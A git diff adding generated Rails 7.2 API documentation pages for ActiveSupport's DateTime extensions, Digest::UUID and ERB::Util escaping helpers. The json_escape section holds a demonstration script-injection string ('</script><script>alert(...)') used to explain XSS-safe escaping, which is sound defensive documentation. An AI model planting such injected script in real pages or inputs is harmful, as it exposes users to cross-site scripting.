DateTime.civil_from_format :local, 2012
+# => Sun, 01 Jan 2012 00:00:00 +0300
+DateTime.civil_from_format :local, 2012, 12, 17
+# => Mon, 17 Dec 2012 00:00:00 +0000
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 69
+  def self.civil_from_format(utc_or_local, year, month = 1, day = 1, hour = 0, min = 0, sec = 0)
+    if utc_or_local.to_sym == :local
+      offset = ::Time.local(year, month, day).utc_offset.to_r / 86400
+    else
+      offset = 0
+    end
+    civil(year, month, day, hour, min, sec, offset)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current() + +

+ + +
+

Returns Time.zone.now.to_datetime when Time.zone or config.time_zone are set, otherwise returns Time.now.to_datetime.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 10
+    def current
+      ::Time.zone ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <=>(other) + +

+ + +
+

Layers additional behavior on DateTime#<=> so that Time and ActiveSupport::TimeWithZone instances can be compared with a DateTime.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 208
+  def <=>(other)
+    if other.respond_to? :to_datetime
+      super other.to_datetime rescue nil
+    else
+      super
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + acts_like_date?() + +

+ + +
+

Duck-types as a Date-like class. See Object#acts_like?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/acts_like.rb, line 8
+  def acts_like_date?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + acts_like_time?() + +

+ + +
+

Duck-types as a Time-like class. See Object#acts_like?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/acts_like.rb, line 13
+  def acts_like_time?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + advance(options) + +

+ + +
+

Uses Date to provide precise Time calculations for years, months, and days. The options parameter takes a hash with any of these keys: :years, :months, :weeks, :days, :hours, :minutes, :seconds.

+ +

Just like Date#advance, increments are applied in order of time units from largest to smallest. This order can affect the result around the end of a month.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 82
+  def advance(options)
+    unless options[:weeks].nil?
+      options[:weeks], partial_weeks = options[:weeks].divmod(1)
+      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+    end
+
+    unless options[:days].nil?
+      options[:days], partial_days = options[:days].divmod(1)
+      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+    end
+
+    d = to_date.advance(options)
+    datetime_advanced_by_date = change(year: d.year, month: d.month, day: d.day)
+    seconds_to_advance = \
+      options.fetch(:seconds, 0) +
+      options.fetch(:minutes, 0) * 60 +
+      options.fetch(:hours, 0) * 3600
+
+    if seconds_to_advance.zero?
+      datetime_advanced_by_date
+    else
+      datetime_advanced_by_date.since(seconds_to_advance)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ago(seconds) + +

+ + +
+

Returns a new DateTime representing the time a number of seconds ago. Do not use this method in combination with x.months, use months_ago instead!

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 109
+  def ago(seconds)
+    since(-seconds)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at_beginning_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + at_beginning_of_hour() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_hour +
+ + + + +
+ +
+

+ + at_beginning_of_minute() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_minute +
+ + + + +
+ +
+

+ + at_end_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_day +
+ + + + +
+ +
+

+ + at_end_of_hour() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_hour +
+ + + + +
+ +
+

+ + at_end_of_minute() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_minute +
+ + + + +
+ +
+

+ + at_midday() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + at_middle_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + at_midnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + at_noon() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + beginning_of_day() + +

+ + +
+

Returns a new DateTime representing the start of the day (0:00).

+
+ + + +
+ Also aliased as: midnight, at_midnight, at_beginning_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 122
+  def beginning_of_day
+    change(hour: 0)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_hour() + +

+ + +
+

Returns a new DateTime representing the start of the hour (hh:00:00).

+
+ + + +
+ Also aliased as: at_beginning_of_hour +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 146
+  def beginning_of_hour
+    change(min: 0)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_minute() + +

+ + +
+

Returns a new DateTime representing the start of the minute (hh:mm:00).

+
+ + + +
+ Also aliased as: at_beginning_of_minute +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 158
+  def beginning_of_minute
+    change(sec: 0)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change(options) + +

+ + +
+

Returns a new DateTime where one or more of the elements have been changed according to the options parameter. The time options (:hour, :min, :sec) reset cascadingly, so if only the hour is passed, then minute and sec is set to 0. If the hour and minute is passed, then sec is set to 0. The options parameter takes a hash with any of these keys: :year, :month, :day, :hour, :min, :sec, :offset, :start.

+ +
DateTime.new(2012, 8, 29, 22, 35, 0).change(day: 1)              # => DateTime.new(2012, 8, 1, 22, 35, 0)
+DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => DateTime.new(1981, 8, 1, 22, 35, 0)
+DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => DateTime.new(1981, 8, 29, 0, 0, 0)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 51
+  def change(options)
+    if new_nsec = options[:nsec]
+      raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+      new_fraction = Rational(new_nsec, 1000000000)
+    else
+      new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+      new_fraction = Rational(new_usec, 1000000)
+    end
+
+    raise ArgumentError, "argument out of range" if new_fraction >= 1
+
+    ::DateTime.civil(
+      options.fetch(:year, year),
+      options.fetch(:month, month),
+      options.fetch(:day, day),
+      options.fetch(:hour, hour),
+      options.fetch(:min, options[:hour] ? 0 : min),
+      options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec) + new_fraction,
+      options.fetch(:offset, offset),
+      options.fetch(:start, start)
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_inspect() + +

+ + +
+ +
+ + + + + +
+ Alias for: inspect +
+ + + + +
+ +
+

+ + end_of_day() + +

+ + +
+

Returns a new DateTime representing the end of the day (23:59:59).

+
+ + + +
+ Also aliased as: at_end_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 140
+  def end_of_day
+    change(hour: 23, min: 59, sec: 59, usec: Rational(999999999, 1000))
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_hour() + +

+ + +
+

Returns a new DateTime representing the end of the hour (hh:59:59).

+
+ + + +
+ Also aliased as: at_end_of_hour +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 152
+  def end_of_hour
+    change(min: 59, sec: 59, usec: Rational(999999999, 1000))
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_minute() + +

+ + +
+

Returns a new DateTime representing the end of the minute (hh:mm:59).

+
+ + + +
+ Also aliased as: at_end_of_minute +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 164
+  def end_of_minute
+    change(sec: 59, usec: Rational(999999999, 1000))
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formatted_offset(colon = true, alternate_utc_string = nil) + +

+ + +
+

Returns a formatted string of the offset from UTC, or an alternative string if the time zone is already UTC.

+ +
datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24))
+datetime.formatted_offset         # => "-06:00"
+datetime.formatted_offset(false)  # => "-0600"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 51
+  def formatted_offset(colon = true, alternate_utc_string = nil)
+    utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + getgm() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + getlocal(utc_offset = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: localtime +
+ + + + +
+ +
+

+ + getutc() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + gmtime() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + in(seconds) + +

+ + +
+ +
+ + + + + +
+ Alias for: since +
+ + + + +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + +
+ Also aliased as: default_inspect +
+ + + +
+ Alias for: readable_inspect +
+ + + + +
+ +
+

+ + localtime(utc_offset = nil) + +

+ + +
+

Returns a Time instance of the simultaneous time in the system timezone.

+
+ + + +
+ Also aliased as: getlocal +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 170
+  def localtime(utc_offset = nil)
+    utc = new_offset(0)
+
+    Time.utc(
+      utc.year, utc.month, utc.day,
+      utc.hour, utc.min, utc.sec + utc.sec_fraction
+    ).getlocal(utc_offset)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + midday() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + middle_of_day() + +

+ + +
+

Returns a new DateTime representing the middle of the day (12:00)

+
+ + + +
+ Also aliased as: midday, noon, at_midday, at_noon, at_middle_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 130
+  def middle_of_day
+    change(hour: 12)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + midnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + noon() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + nsec() + +

+ + +
+

Returns the fraction of a second as nanoseconds

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 94
+  def nsec
+    (sec_fraction * 1_000_000_000).to_i
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readable_inspect() + +

+ + +
+

Overrides the default inspect method with a human readable one, e.g., β€œMon, 21 Feb 2005 14:30:00 +0000”.

+
+ + + +
+ Also aliased as: inspect +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 56
+  def readable_inspect
+    to_fs(:rfc822)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + seconds_since_midnight() + +

+ + +
+

Returns the number of seconds since 00:00:00.

+ +
DateTime.new(2012, 8, 29,  0,  0,  0).seconds_since_midnight # => 0
+DateTime.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296
+DateTime.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 20
+  def seconds_since_midnight
+    sec + (min * 60) + (hour * 3600)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + seconds_until_end_of_day() + +

+ + +
+

Returns the number of seconds until 23:59:59.

+ +
DateTime.new(2012, 8, 29,  0,  0,  0).seconds_until_end_of_day # => 86399
+DateTime.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
+DateTime.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 29
+  def seconds_until_end_of_day
+    end_of_day.to_i - to_i
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + since(seconds) + +

+ + +
+

Returns a new DateTime representing the time a number of seconds since the instance time. Do not use this method in combination with x.months, use months_since instead!

+
+ + + +
+ Also aliased as: in +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 116
+  def since(seconds)
+    self + Rational(seconds, 86400)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subsec() + +

+ + +
+

Returns the fraction of a second as a Rational

+ +
DateTime.new(2012, 8, 29, 0, 0, 0.5).subsec # => (1/2)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 36
+  def subsec
+    sec_fraction
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_f() + +

+ + +
+

Converts self to a floating-point number of seconds, including fractional microseconds, since the Unix epoch.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 79
+  def to_f
+    seconds_since_unix_epoch.to_f + sec_fraction
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_formatted_s(format = :default) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = :default) + +

+ + +
+

Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.

+ +

This method is aliased to to_formatted_s.

+ +

Examples

+ +
datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0)   # => Tue, 04 Dec 2007 00:00:00 +0000
+
+datetime.to_fs(:db)            # => "2007-12-04 00:00:00"
+datetime.to_formatted_s(:db)   # => "2007-12-04 00:00:00"
+datetime.to_fs(:number)        # => "20071204000000"
+datetime.to_fs(:short)         # => "04 Dec 00:00"
+datetime.to_fs(:long)          # => "December 04, 2007 00:00"
+datetime.to_fs(:long_ordinal)  # => "December 4th, 2007 00:00"
+datetime.to_fs(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
+datetime.to_fs(:iso8601)       # => "2007-12-04T00:00:00+00:00"
+
+ +

Adding your own datetime formats to to_fs

+ +

DateTime formats are shared with Time. You can add your own to the Time::DATE_FORMATS hash. Use the format name as the hash key and either a strftime string or Proc instance that takes a time or datetime argument as the value.

+ +
# config/initializers/time_formats.rb
+Time::DATE_FORMATS[:month_and_year] = '%B %Y'
+Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
+
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 35
+  def to_fs(format = :default)
+    if formatter = ::Time::DATE_FORMATS[format]
+      formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+    else
+      to_s
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_i() + +

+ + +
+

Converts self to an integer number of seconds since the Unix epoch.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 84
+  def to_i
+    seconds_since_unix_epoch.to_i
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time() + +

+ + +
+

Either return an instance of Time with the same UTC offset as self or an instance of Time representing the same time in the local system timezone depending on the setting of on the setting of ActiveSupport.to_time_preserves_timezone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/compatibility.rb, line 15
+  def to_time
+    preserve_timezone ? getlocal(utc_offset) : getlocal
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + usec() + +

+ + +
+

Returns the fraction of a second as microseconds

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/conversions.rb, line 89
+  def usec
+    (sec_fraction * 1_000_000).to_i
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc() + +

+ + +
+

Returns a Time instance of the simultaneous time in the UTC timezone.

+ +
DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24))     # => Mon, 21 Feb 2005 10:11:12 -0600
+DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 UTC
+
+
+ + + +
+ Also aliased as: getgm, getutc, gmtime +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 184
+  def utc
+    utc = new_offset(0)
+
+    Time.utc(
+      utc.year, utc.month, utc.day,
+      utc.hour, utc.min, utc.sec + utc.sec_fraction
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc?() + +

+ + +
+

Returns true if offset == 0.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 197
+  def utc?
+    offset == 0
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc_offset() + +

+ + +
+

Returns the offset value in seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_time/calculations.rb, line 202
+  def utc_offset
+    (offset * 86400).to_i
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Delegator.html b/src/7.2/classes/Delegator.html new file mode 100644 index 0000000000..1ded9fa2ef --- /dev/null +++ b/src/7.2/classes/Delegator.html @@ -0,0 +1,124 @@ +--- +title: Delegator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + try(*args, &block) + + +

+ + +
+

See Object#try

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + try!(*args, &block) + + +

+ + +
+

See Object#try!

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Digest.html b/src/7.2/classes/Digest.html new file mode 100644 index 0000000000..51ecbc9af8 --- /dev/null +++ b/src/7.2/classes/Digest.html @@ -0,0 +1,67 @@ +--- +title: Digest +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Digest/UUID.html b/src/7.2/classes/Digest/UUID.html new file mode 100644 index 0000000000..9a8ca48e6c --- /dev/null +++ b/src/7.2/classes/Digest/UUID.html @@ -0,0 +1,279 @@ +--- +title: Digest::UUID +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + nil_uuid() + +

+ + +
+

Returns the nil UUID. This is a special form of UUID that is specified to have all 128 bits set to zero.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/digest/uuid.rb, line 58
+    def self.nil_uuid
+      "00000000-0000-0000-0000-000000000000"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uuid_from_hash(hash_class, namespace, name) + +

+ + +
+

Generates a v5 non-random UUID (Universally Unique IDentifier).

+ +

Using OpenSSL::Digest::MD5 generates version 3 UUIDs; OpenSSL::Digest::SHA1 generates version 5 UUIDs. uuid_from_hash always generates the same UUID for a given name and namespace combination.

+ +

See RFC 4122 for details of UUID at: www.ietf.org/rfc/rfc4122.txt

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/digest/uuid.rb, line 19
+    def self.uuid_from_hash(hash_class, namespace, name)
+      if hash_class == Digest::MD5 || hash_class == OpenSSL::Digest::MD5
+        version = 3
+      elsif hash_class == Digest::SHA1 || hash_class == OpenSSL::Digest::SHA1
+        version = 5
+      else
+        raise ArgumentError, "Expected OpenSSL::Digest::SHA1 or OpenSSL::Digest::MD5, got #{hash_class.name}."
+      end
+
+      uuid_namespace = pack_uuid_namespace(namespace)
+
+      hash = hash_class.new
+      hash.update(uuid_namespace)
+      hash.update(name)
+
+      ary = hash.digest.unpack("NnnnnN")
+      ary[2] = (ary[2] & 0x0FFF) | (version << 12)
+      ary[3] = (ary[3] & 0x3FFF) | 0x8000
+
+      "%08x-%04x-%04x-%04x-%04x%08x" % ary
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uuid_v3(uuid_namespace, name) + +

+ + +
+

Convenience method for uuid_from_hash using OpenSSL::Digest::MD5.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/digest/uuid.rb, line 42
+    def self.uuid_v3(uuid_namespace, name)
+      uuid_from_hash(OpenSSL::Digest::MD5, uuid_namespace, name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uuid_v4() + +

+ + +
+

Convenience method for SecureRandom.uuid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/digest/uuid.rb, line 52
+    def self.uuid_v4
+      SecureRandom.uuid
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uuid_v5(uuid_namespace, name) + +

+ + +
+

Convenience method for uuid_from_hash using OpenSSL::Digest::SHA1.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/digest/uuid.rb, line 47
+    def self.uuid_v5(uuid_namespace, name)
+      uuid_from_hash(OpenSSL::Digest::SHA1, uuid_namespace, name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ERB.html b/src/7.2/classes/ERB.html new file mode 100644 index 0000000000..89c3e84d22 --- /dev/null +++ b/src/7.2/classes/ERB.html @@ -0,0 +1,75 @@ +--- +title: ERB +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ERB/Util.html b/src/7.2/classes/ERB/Util.html new file mode 100644 index 0000000000..9444659c56 --- /dev/null +++ b/src/7.2/classes/ERB/Util.html @@ -0,0 +1,311 @@ +--- +title: ERB::Util +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTML_ESCAPE={ "&" => "&amp;", ">" => "&gt;", "<" => "&lt;", '"' => "&quot;", "'" => "&#39;" }
HTML_ESCAPE_ONCE_REGEXP=/["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/
INVALID_TAG_NAME_FOLLOWING_REGEXP=/[^#{TAG_NAME_FOLLOWING_CODEPOINTS}]/
INVALID_TAG_NAME_START_REGEXP=/[^#{TAG_NAME_START_CODEPOINTS}]/
SAFE_XML_TAG_NAME_REGEXP=/\A[#{TAG_NAME_START_CODEPOINTS}][#{TAG_NAME_FOLLOWING_CODEPOINTS}]*\z/
TAG_NAME_FOLLOWING_CODEPOINTS="#{TAG_NAME_START_CODEPOINTS}\\-.0-9\u{B7}\u{0300}-\u{036F}\u{203F}-\u{2040}"
TAG_NAME_REPLACEMENT_CHAR="_"
TAG_NAME_START_CODEPOINTS="@:A-Z_a-z\u{C0}-\u{D6}\u{D8}-\u{F6}\u{F8}-\u{2FF}\u{370}-\u{37D}\u{37F}-\u{1FFF}" \ +"\u{200C}-\u{200D}\u{2070}-\u{218F}\u{2C00}-\u{2FEF}\u{3001}-\u{D7FF}\u{F900}-\u{FDCF}" \ +"\u{FDF0}-\u{FFFD}\u{10000}-\u{EFFFF}"
 

Following XML requirements: www.w3.org/TR/REC-xml/#NT-Name

+ + + + + + +

Class Public methods

+ +
+

+ + html_escape_once(s) + +

+ + +
+

A utility method for escaping HTML without affecting existing escaped entities.

+ +
html_escape_once('1 < 2 &amp; 3')
+# => "1 &lt; 2 &amp; 3"
+
+html_escape_once('&lt;&lt; Accept & Checkout')
+# => "&lt;&lt; Accept &amp; Checkout"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/erb/util.rb, line 63
+    def html_escape_once(s)
+      ActiveSupport::Multibyte::Unicode.tidy_bytes(s.to_s).gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE).html_safe
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + json_escape(s) + +

+ + +
+

A utility method for escaping HTML entities in JSON strings. Specifically, the &, > and < characters are replaced with their equivalent unicode escaped form - u0026, u003e, and u003c. The Unicode sequences u2028 and u2029 are also escaped as they are treated as newline characters in some JavaScript engines. These sequences have identical meaning as the original characters inside the context of a JSON string, so assuming the input is a valid and well-formed JSON value, the output will have equivalent meaning when parsed:

+ +
json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+# => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
+
+json_escape(json)
+# => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+
+JSON.parse(json) == JSON.parse(json_escape(json))
+# => true
+
+ +

The intended use case for this method is to escape JSON strings before including them inside a script tag to avoid XSS vulnerability:

+ +
<script>
+  var currentUser = <%= raw json_escape(current_user.to_json) %>;
+</script>
+
+ +

It is necessary to raw the result of json_escape, so that quotation marks don’t get converted to &quot; entities. json_escape doesn’t automatically flag the result as HTML safe, since the raw value is unsafe to use inside HTML attributes.

+ +

If your JSON is being used downstream for insertion into the DOM, be aware of whether or not it is being inserted via html(). Most jQuery plugins do this. If that is the case, be sure to html_escape or sanitize any user-generated content returned by your JSON.

+ +

If you need to output JSON elsewhere in your HTML, you can just do something like this, as any unsafe characters (including quotation marks) will be automatically escaped for you:

+ +
<div data-user-info="<%= current_user.to_json %>">...</div>
+
+ +

WARNING: this helper only works with valid JSON. Using this on non-JSON values will open up serious XSS vulnerabilities. For example, if you replace the current_user.to_json in the example above with user input instead, the browser will happily eval() that string as JavaScript.

+ +

The escaping performed in this method is identical to those performed in the Active Support JSON encoder when ActiveSupport.escape_html_entities_in_json is set to true. Because this transformation is idempotent, this helper can be applied even if ActiveSupport.escape_html_entities_in_json is already true.

+ +

Therefore, when you are unsure if ActiveSupport.escape_html_entities_in_json is enabled, or if you are unsure where your JSON string originated from, it is recommended that you always apply this helper (other libraries, such as the JSON gem, do not provide this kind of protection by default; also some gems might override to_json to bypass Active Support’s encoder).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/erb/util.rb, line 124
+    def json_escape(s)
+      result = s.to_s.dup
+      result.gsub!(">", '\u003e')
+      result.gsub!("<", '\u003c')
+      result.gsub!("&", '\u0026')
+      result.gsub!("\u2028", '\u2028')
+      result.gsub!("\u2029", '\u2029')
+      s.html_safe? ? result.html_safe : result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + xml_name_escape(name) + +

+ + +
+

A utility method for escaping XML names of tags and names of attributes.

+ +
xml_name_escape('1 < 2 & 3')
+# => "1___2___3"
+
+ +

It follows the requirements of the specification: www.w3.org/TR/REC-xml/#NT-Name

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/erb/util.rb, line 142
+    def xml_name_escape(name)
+      name = name.to_s
+      return "" if name.blank?
+      return name if name.match?(SAFE_XML_TAG_NAME_REGEXP)
+
+      starting_char = name[0]
+      starting_char.gsub!(INVALID_TAG_NAME_START_REGEXP, TAG_NAME_REPLACEMENT_CHAR)
+
+      return starting_char if name.size == 1
+
+      following_chars = name[1..-1]
+      following_chars.gsub!(INVALID_TAG_NAME_FOLLOWING_REGEXP, TAG_NAME_REPLACEMENT_CHAR)
+
+      starting_char << following_chars
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
